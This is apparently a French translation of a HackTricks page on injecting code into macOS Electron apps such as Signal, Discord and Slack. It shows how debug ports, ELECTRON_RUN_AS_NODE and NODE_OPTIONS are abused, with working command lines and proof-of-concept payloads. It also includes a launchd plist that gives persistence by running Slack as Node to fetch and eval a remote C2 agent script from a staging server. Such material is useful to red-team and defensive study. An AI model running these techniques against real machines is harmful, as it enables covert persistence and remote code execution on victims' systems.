4.9 KiB
Injection d'applications Electron macOS
Selon cet article, si vous exécutez une application Electron avec des indicateurs tels que --inspect
, --inspect-brk
et --remote-debugging-port
, un port de débogage sera ouvert pour que vous puissiez vous y connecter (par exemple depuis Chrome dans chrome://inspect
) et vous pourrez injecter du code ou même lancer de nouveaux processus.
Par exemple:
{% code overflow="wrap" %}
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
{% hint style="danger" %}
Notez que la plupart des applications Electron ignoreront désormais les paramètres node (tels que --inspect) lorsqu'elles sont lancées, sauf si la variable d'environnement ELECTRON_RUN_AS_NODE
est définie.
Cependant, vous pouvez toujours utiliser le paramètre electron --remote-debugging-port=9229
, mais la charge utile précédente ne fonctionnera pas pour exécuter d'autres processus.
{% endhint %}
ELECTRON_RUN_AS_NODE
Selon la documentation, si cette variable d'environnement est définie, elle démarrera le processus en tant que processus Node.js normal.
{% code overflow="wrap" %}
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
Comme proposé ici, vous pourriez abuser de cette variable d'environnement dans un plist pour maintenir la persistance :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
ELECTRON_RUN_AS_NODE
& NODE_OPTIONS
Avec cette combinaison, vous pouvez stocker la charge utile dans un fichier différent et exécuter ce fichier :
{% code overflow="wrap" %}
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
{% endcode %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.